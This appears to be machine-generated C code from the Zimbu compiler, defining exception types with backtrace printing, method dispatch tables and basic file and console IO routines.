YXKl__YwtA__YCzX / (Tc)0, /* MEModule__CIOError.getPos - YXKl__YwtA__YvCK / (Tc)0, /* MEModule__CIOError.getBacktrace - YXKl__YwtA__Y4bq / (Tc)0, /* Init - YXKla / }; To ToYXKl[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YXKl__T = {390, (Tc)&YTj3, 0, ToYXKl}; YuDC YdhH(YuDC t) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=8723500; t = Za(sizeof(YuDC));} sf.pos=8723501; t->Vmessage = ((Tc)&Ynjz); sf.pos=8723502; t->Vpos = MZ__callerPos(); sf.pos=8723503; t->Vbacktrace = (sf.pos=8723504, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YuDC__YwtA__YxaJa(YuDC t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8681800; ZthrowThisNil(); } sf.pos=8681801; YuDC__YwtA__YxaJ(t, Aw); sf.pos=8681802; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=8681803; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=8681804; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=8681805; if ((Vpos->Vfilename == NULL)) { sf.pos=8681806; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=8681807; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=8681808; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=8681809; if ((Vpos->Vtext != NULL)) { sf.pos=8681810; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=8681811; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=8681812; } } } topFrame = sf.prev; return; } void YuDC__YwtA__YxaJ(YuDC t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9701900; ZthrowThisNil(); } sf.pos=9701901; if ((t->Vpos != NULL)) { sf.pos=9701902; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=9701903; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=9701904; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=9701905; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=9701906; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=9701907; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YuDC__Ytlm_I_imt[] = { (Tc)&YuDC__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CWrongType.NEW - YuDC__YwtA__YRHRa / (Tc)0, /* MEModule__CWrongType.NEW - YuDC__YwtA__YRHR / (Tc)0, /* MEModule__CWrongType.ToString - YuDC__YwtA__YH0V / (Tc)YuDC__YwtA__YxaJa, /* MEModule__CWrongType.writeTo - YuDC__YwtA__YxaJa / (Tc)YuDC__YwtA__YxaJ, /* MEModule__CWrongType.writeTo - YuDC__YwtA__YxaJ / (Tc)0, /* MEModule__CWrongType.toString - YuDC__YwtA__Yoww / (Tc)0, /* MEModule__CWrongType.getMessage - YuDC__YwtA__YCzX / (Tc)0, /* MEModule__CWrongType.getPos - YuDC__YwtA__YvCK / (Tc)0, /* MEModule__CWrongType.getBacktrace - YuDC__YwtA__Y4bq / (Tc)0, /* Init - YuDCa / }; To ToYuDC[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YuDC__T = {390, (Tc)&YCoZ, 0, ToYuDC}; void YTuG(Ti Apos) { Tr ex; YuDC Ve = 0; Tr t0 = {NULL}; Ve = YdhH(NULL); Ve->Vpos = MZ__posnr2pos(NULL, Apos); Znao(&ex, Ve, YuDC__Ytlm_I_imt, 24); ZthrowIobject(ex); } YrHq YrHq__YwtA__YRHR(YrHq t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7808200; t = Za(sizeof(YrHq));} sf.pos=7808201; t->Vmessage = Amsg; sf.pos=7808202; t->Vpos = MZ__callerPos(); sf.pos=7808203; t->Vbacktrace = (sf.pos=7808204, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YrHq__YwtA__YxaJa(YrHq t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=41200; ZthrowThisNil(); } sf.pos=41201; YrHq__YwtA__YxaJ(t, Aw); sf.pos=41202; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=41203; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=41204; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=41205; if ((Vpos->Vfilename == NULL)) { sf.pos=41206; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=41207; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=41208; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=41209; if ((Vpos->Vtext != NULL)) { sf.pos=41210; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=41211; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=41212; } } } topFrame = sf.prev; return; } void YrHq__YwtA__YxaJ(YrHq t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1061300; ZthrowThisNil(); } sf.pos=1061301; if ((t->Vpos != NULL)) { sf.pos=1061302; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=1061303; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=1061304; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=1061305; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=1061306; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=1061307; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YrHq__Ytlm_I_imt[] = { (Tc)&YrHq__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CInternal.NEW - YrHq__YwtA__YRHRa / (Tc)YrHq__YwtA__YRHR, /* MEModule__CInternal.NEW - YrHq__YwtA__YRHR / (Tc)0, /* MEModule__CInternal.ToString - YrHq__YwtA__YH0V / (Tc)YrHq__YwtA__YxaJa, /* MEModule__CInternal.writeTo - YrHq__YwtA__YxaJa / (Tc)YrHq__YwtA__YxaJ, /* MEModule__CInternal.writeTo - YrHq__YwtA__YxaJ / (Tc)0, /* MEModule__CInternal.toString - YrHq__YwtA__Yoww / (Tc)0, /* MEModule__CInternal.getMessage - YrHq__YwtA__YCzX / (Tc)0, /* MEModule__CInternal.getPos - YrHq__YwtA__YvCK / (Tc)0, /* MEModule__CInternal.getBacktrace - YrHq__YwtA__Y4bq / (Tc)0, /* Init - YrHqa / }; To ToYrHq[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YrHq__T = {390, (Tc)&YVki, 0, ToYrHq}; void YUSH(YkxB Apos, Tc Atext) { Tr ex; YrHq Ve = 0; Tr t0 = {NULL}; Ve = YrHq__YwtA__YRHR(NULL, Atext); if ((Apos != NULL)) { Ve->Vpos = Apos; } Znao(&ex, Ve, YrHq__Ytlm_I_imt, 26); ZthrowIobject(ex); } void YxIS(Tr Ae) { static int entered = 0; int didEnter = entered; entered = 1; if ((Ae).type == 1) { Ti VexitVal; VexitVal = ((YEro )Znio(1, 1571802, (Ae)))->Vvalue; if (!didEnter) beforeExit(); exit(VexitVal); } else { YvL0(Ae); if (!didEnter) beforeExit(); exit(1); } return; } void YvL0(Tr Ae) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=5238600; Ylxt(); sf.pos=5238601; YQar(Ae, 1, YeNQ); sf.pos=5238617; ((Ts ()(void))(YeNQ.table[18]))(YeNQ.ptr); topFrame = sf.prev; return; } void YQar(Tr A0, Tb A1, Tr A2) { if (A0.ptr == NULL) ZthrowCstringNil("writeTo: object is NIL, cannot select method to invoke"); if (A2.ptr == NULL) ZthrowCstringNil("writeTo: argument 2 is NIL, cannot select method to invoke"); switch (A0.type) { case 0: YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238602)); return; case 1: YEro__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238603)); return; case 2: return; case 3: return; case 4: YKhn__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238604)); return; case 5: Y1uN__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238605)); return; case 6: YAxe__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238606)); return; case 7: YVNj__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238607)); return; case 8: return; case 9: return; case 10: Yalz__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238608)); return; case 11: return; case 12: Y2EX__Yalz__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238609)); return; case 13: return; case 14: YX0i__Yalz__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238610)); return; case 15: return; case 16: return; case 17: YzSI__Ylz1__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238611)); return; case 18: return; case 19: YXKl__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238612)); return; case 20: return; case 21: return; case 22: return; case 23: return; case 24: YuDC__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238613)); return; case 25: return; case 26: YrHq__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238614)); return; case 27: return; case 28: return; case 29: Ys_q__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238615)); return; case 30: YOEA__YwtA__YxaJa(A0.ptr,A1,ZconvertZioref(A2, YdXi__imtt, 0, 99999, 5238616)); return; case 31: return; } ZthrowCstringBadValue("writeTo: cannot select method to invoke"); return; } / EModule done / / including ZModule bodies / YkxB Ypp_a(YkxB t, Tc Afilename, Ti Alnum, Ti Acol) { if (t == NULL) {t = Za(sizeof(YkxB));} t->Vfilename = Afilename; t->Vlnum = Alnum; t->Vcol = Acol; return t; } Tc YpI_(YkxB t) { Zsf sf; Tc r = 0; YjUM Vw = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1818700; ZthrowThisNil(); } sf.pos=1818701; Vw = Za(sizeof(YjUM)); sf.pos=1818702; if ((t->Vfilename == NULL)) { sf.pos=1818703; YJqza(Vw, ((Tc)&YKo1)); } else { sf.pos=1818704; YJqza(Vw, t->Vfilename); } sf.pos=1818705; YJqza(Vw, ((Tc)&YBpY)); sf.pos=1818706; YjUM__YHhZb(Vw, t->Vlnum); sf.pos=1818707; YJqza(Vw, ((Tc)&Y8ES)); sf.pos=1818708; YjUM__YHhZb(Vw, t->Vcol); sf.pos=1818709; r = YbNW(Vw); topFrame = sf.prev; return r; } To ToYkxB[] = { {2, 0}, {0, (Tt)&string__T}, /* filename / {0, (Tt)&string__T}, /* text / }; Tto YkxB__T = {390, (Tc)&YBCs, 0, ToYkxB}; /* ZModule done / / including IOModule bodies / Tr Yd89() { Tr r = {NULL}; Tr Vfile = {NULL}; Vfile = Zao(Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); ((FILE *)(Vfile.ptr + (size_t)Vfile.table[20])) = stdin; r = Vfile; return r; } Tr Yvyt() { Tr r = {NULL}; Tr Vfile = {NULL}; Vfile = Zao(Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); ((FILE *)(Vfile.ptr + (size_t)Vfile.table[20])) = stdout; r = Vfile; return r; } Tr YsM3() { Tr r = {NULL}; Tr Vfile = {NULL}; Vfile = Zao(Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); ((FILE )(Vfile.ptr + (size_t)Vfile.table[20])) = stderr; r = Vfile; return r; } Tc YdXi__imtt[] = { Yw8L__YdXi_imt, 0, YjUM__YdXi_imt, 0, }; Ts YwHoa(Yw8L t, Tc Atext) { Ts Vret; Zsf sf; Ts r = 0; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9482300; ZthrowThisNil(); } Vret = 0; sf.pos=9482301; if ((t->Vfd == NULL)) { Tr ex; sf.pos=9482302; Znao(&ex, YXKl__YwtA__YRHR(NULL, ((Tc)&YQe8)), YXKl__Ytlm_I_imt, 19); ZthrowIobject(ex); } sf.pos=9482303; { Tc p; Ti len = ZstringSizePtr(Atext, &p); if (len == 0 \|\| fwrite(p, (size_t)len, (size_t)1, t->Vfd) == 1) Vret = 1; else Vret = 0; } sf.pos=9482304; r = Vret; topFrame = sf.prev; return r; } Ts Yw8L__YHhZb(Yw8L t, Ti Anumber) { Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5981900; ZthrowThisNil(); } sf.pos=5981901; r = YwHoa(t, Zint2string(Anumber)); topFrame = sf.prev; return r; } Ts Yw8L__YRt7g(Yw8L t) { Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8261800; ZthrowThisNil(); } sf.pos=8261801; r = YwHoa(t, ((Tc)&Yk)); topFrame = sf.prev; return r; } Tc Yw8L__Yw8L_I_imt[] = { (Tc)&Yw8L__T, (Tc)YwHoa, / MIOModule__CFile.write - YwHoa / (Tc)0, /* MIOModule__CFile.write - Yw8L__YHhZa / (Tc)Yw8L__YHhZb, /* MIOModule__CFile.write - Yw8L__YHhZb / (Tc)0, /* MIOModule__CFile.write - Yw8L__YHhZc / (Tc)0, /* MIOModule__CFile.write - Yw8L__YHhZd / (Tc)0, /* MIOModule__CFile.write - Yw8L__YHhZe / (Tc)0, /* MIOModule__CFile.write - Yw8L__YHhZf / (Tc)0, /* MIOModule__CFile.write - Yw8L__YHhZg / (Tc)0, /* MIOModule__CFile.writeByte - YvfVa / (Tc)0, /* MIOModule__CFile.writeChar - Yw8L__Ydti / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7 / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7a / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7b / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7c / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7d / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7e / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7f / (Tc)Yw8L__YRt7g, /* MIOModule__CFile.print - Yw8L__YRt7g / (Tc)0, /* MIOModule__CFile.format - Yw8L__YTPv / (Tc)0, (Tc)0, (Tc)0, /* MIOModule__CFile.readByte - YFeQ / (Tc)0, /* MIOModule__CFile.readChar - YAPp / (Tc)0, /* MIOModule__CFile.readAll - Yyuma / (Tc)0, /* MIOModule__CFile.readAll - Yyum / (Tc)0, /* MIOModule__CFile.readAllBytes - YVfz / (Tc)0, /* MIOModule__CFile.readLine - YaEh / (Tc)0, /* MIOModule__CFile.readLineRaw - Yn2l / (Tc)0, /* MIOModule__CFile.readAllLines - YCm1a / (Tc)0, /* MIOModule__CFile.readAllLines - YCm1 / (Tc)0, /* MIOModule__CFile.readAllLinesRaw - YWWFa / (Tc)0, /* MIOModule__CFile.readAllLinesRaw - YWWF / (Tc)0, /* MIOModule__CFile.writeAllLines - YZFx / (Tc)0, /* MIOModule__CFile.flush - YGmp / (Tc)0, /* MIOModule__CFile.close - YrF8 / (Tc)0, /* MIOModule__CFile.Finish - YSo_ / (Tc)0, /* Init - Yw8La / }; Tc Yw8L__YdXi_imt[] = { (Tc)&Yw8L__T, (Tc)YwHoa, /* MIOModule__CFile.write - YwHoa / (Tc)0, /* MIOModule__CFile.print - Yw8L__YRt7 / }; To ToYw8L[] = { {1, 0}, {0, (Tt)&string__T}, /* name / }; Tto Yw8L__T = {390, (Tc)&YtTU, 0, ToYw8L}; Tr YiBk(Tc AfileName, Tb Atruncate) { Zsf sf; Tr r = {NULL}; Tr Vfile = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; sf.pos=8158000; { int flags = O_WRONLY\|O_CREAT; if (Atruncate) flags \|= O_TRUNC; int fnr = open(ZgetCstring(AfileName), flags, 0666); if (fnr >= 0) { if (!Atruncate) lseek(fnr, 0, SEEK_END); sf.pos=8158001; Vfile = Znao(&Vfile, Za(sizeof(Yw8L)), Yw8L__Yw8L_I_imt, 0); sf.pos=8158002; ((FILE )(Vfile.ptr + (size_t)Vfile.table[20])) = fdopen(fnr, "w"); } } sf.pos=8158003; r = Vfile; topFrame = sf.prev; return r; } Ts Yl0k(Tc Atext) { Ts Vret; Ti Vlen; Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vret = 0; sf.pos=187200; Vlen = ZbyteStringSize(Atext); sf.pos=187201; if ((Vlen == 0 \|\| fwrite(ZgetCstring(Atext), (size_t)Vlen, 1, stdout) == 1) && fputc('\n', stdout) >= 0) Vret = 1; else Vret = 0; sf.pos=187202; r = Vret; topFrame = sf.prev; return r; } Ts Ylxt() { Ts Vret; Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vret = 0; sf.pos=4676100; if (fflush(stdout) == 0) Vret = 1; else Vret = 0; sf.pos=4676101; r = Vret; topFrame = sf.prev; return r; } Ts YJqza(YjUM t, Tc Atext) { Ti Vlen; Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8998700; ZthrowThisNil(); } sf.pos=8998701; Vlen = ZbyteStringSize(Atext); sf.pos=8998702; if ((t->Vs == NULL)) { sf.pos=8998703; t->Vs = ZnewArray((Tt)&byte__T, sizeof(Tc), (Vlen + 30)); sf.pos=8998704; Zas(t->Vs, Atext, 0, 0); sf.pos=8998705; t->VsLen = Vlen; } else { sf.pos=8998706; if ((((t->VsLen + Vlen) + 1) >= ZArraySize(t->Vs))) { sf.pos=8998707; ZarrayResize(t->Vs, sizeof(Tc), (((ZArraySize(t->Vs) + (ZArraySize(t->Vs) / 8)) + Vlen) + 50)) ; } sf.pos=8998708; Zas(t->Vs, Atext, 0, t->VsLen); sf.pos=8998709; t->VsLen += Vlen; } sf.pos=8998710; r = 1; topFrame = sf.prev; return r; } Tc YbNW(YjUM t) { Zsf sf; Tc r = 0; Tc Vr = NULL; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=6453100; ZthrowThisNil(); } sf.pos=6453101; if ((t->Vs == NULL)) { sf.pos=6453102; Vr = ((Tc)&Ya); } else { sf.pos=6453103; Vr = ZnewString(t->Vs->ptr, t->VsLen); } sf.pos=6453104; r = Vr; topFrame = sf.prev; return r; } Ts YjUM__YHhZb(YjUM t, Ti Anumber) { Zsf sf; Ts r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7200700; ZthrowThisNil(); } sf.pos=7200701; r = YJqza(t, Zint2string(Anumber)); topFrame = sf.prev; return r; } Tc YjUM__YdXi_imt[] = { (Tc)&YjUM__T, (Tc)YJqza, /* MIOModule__CStringWriter.write - YJqza / (Tc)0, /* MIOModule__CStringWriter.print - YjUM__YRt7 / }; To ToYjUM[] = { {2, 0}, {0, (Tt)&array__T}, /* s / {0, (Tt)&string__T}, /* x / }; Tto YjUM__T = {390, (Tc)&YE4c, 0, ToYjUM}; Tb Y0YB(Tc Aname) { Ti Vv; Zsf sf; Tb r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; Vv = 0; sf.pos=7156300; Vv = access(ZgetCstring(Aname), R_OK); sf.pos=7156301; r = (Vv == 0); topFrame = sf.prev; return r; } int JIOModule(int round) { static int round_done = -1; int done = 1; if (round_done < round) { Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; round_done = round; if (round == 0) { sf.pos=745200; Y59X = Yd89(); sf.pos=745201; Yb0q = Yvyt(); sf.pos=745202; YeNQ = YsM3(); } topFrame = sf.prev; } return done; } / IOModule done / / including zimbuConfig bodies / / including Proto bodies / Ys_q Ys_q__YwtA__YRHR(Ys_q t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7083300; t = Za(sizeof(Ys_q));} sf.pos=7083301; t->Vmessage = Amsg; sf.pos=7083302; t->Vpos = MZ__callerPos(); sf.pos=7083303; t->Vbacktrace = (sf.pos=7083304, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Ys_q__YwtA__YxaJa(Ys_q t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=6348300; ZthrowThisNil(); } sf.pos=6348301; Ys_q__YwtA__YxaJ(t, Aw); sf.pos=6348302; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=6348303; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=6348304; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=6348305; if ((Vpos->Vfilename == NULL)) { sf.pos=6348306; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=6348307; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=6348308; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=6348309; if ((Vpos->Vtext != NULL)) { sf.pos=6348310; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=6348311; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=6348312; } } } topFrame = sf.prev; return; } void Ys_q__YwtA__YxaJ(Ys_q t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7368400; ZthrowThisNil(); } sf.pos=7368401; if ((t->Vpos != NULL)) { sf.pos=7368402; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=7368403; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=7368404; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=7368405; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=7368406; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=7368407; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc Ys_q__Ytlm_I_imt[] = { (Tc)&Ys_q__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, / MProto__CE_ProduceError.NEW - Ys_q__YwtA__YRHRa / (Tc)Ys_q__YwtA__YRHR, /* MProto__CE_ProduceError.NEW - Ys_q__YwtA__YRHR / (Tc)0, /* MProto__CE_ProduceError.ToString - Ys_q__YwtA__YH0V / (Tc)Ys_q__YwtA__YxaJa, /* MProto__CE_ProduceError.writeTo - Ys_q__YwtA__YxaJa / (Tc)Ys_q__YwtA__YxaJ, /* MProto__CE_ProduceError.writeTo - Ys_q__YwtA__YxaJ / (Tc)0, /* MProto__CE_ProduceError.toString - Ys_q__YwtA__Yoww / (Tc)0, /* MProto__CE_ProduceError.getMessage - Ys_q__YwtA__YCzX / (Tc)0, /* MProto__CE_ProduceError.getPos - Ys_q__YwtA__YvCK / (Tc)0, /* MProto__CE_ProduceError.getBacktrace - Ys_q__YwtA__Y4bq / (Tc)0, /* Init - Ys_qa / }; To ToYs_q[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto Ys_q__T = {390, (Tc)&Y4sk, 0, ToYs_q}; YOEA YOEA__YwtA__YRHR(YOEA t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=4631200; t = Za(sizeof(YOEA));} sf.pos=4631201; t->Vmessage = Amsg; sf.pos=4631202; t->Vpos = MZ__callerPos(); sf.pos=4631203; t->Vbacktrace = (sf.pos=4631204, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YOEA__YwtA__YxaJa(YOEA t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7053000; ZthrowThisNil(); } sf.pos=7053001; YOEA__YwtA__YxaJ(t, Aw); sf.pos=7053002; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=7053003; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=7053004; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=7053005; if ((Vpos->Vfilename == NULL)) { sf.pos=7053006; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=7053007; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=7053008; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=7053009; if ((Vpos->Vtext != NULL)) { sf.pos=7053010; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=7053011; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=7053012; } } } topFrame = sf.prev; return; } void YOEA__YwtA__YxaJ(YOEA t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8073100; ZthrowThisNil(); } sf.pos=8073101; if ((t->Vpos != NULL)) { sf.pos=8073102; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=8073103; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=8073104; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=8073105; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=8073106; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=8073107; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YOEA__Ytlm_I_imt[] = { (Tc)&YOEA__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MProto__CE_BinaryError.NEW - YOEA__YwtA__YRHRa / (Tc)YOEA__YwtA__YRHR, /* MProto__CE_BinaryError.NEW - YOEA__YwtA__YRHR / (Tc)0, /* MProto__CE_BinaryError.ToString - YOEA__YwtA__YH0V / (Tc)YOEA__YwtA__YxaJa, /* MProto__CE_BinaryError.writeTo - YOEA__YwtA__YxaJa / (Tc)YOEA__YwtA__YxaJ, /* MProto__CE_BinaryError.writeTo - YOEA__YwtA__YxaJ / (Tc)0, /* MProto__CE_BinaryError.toString - YOEA__YwtA__Yoww / 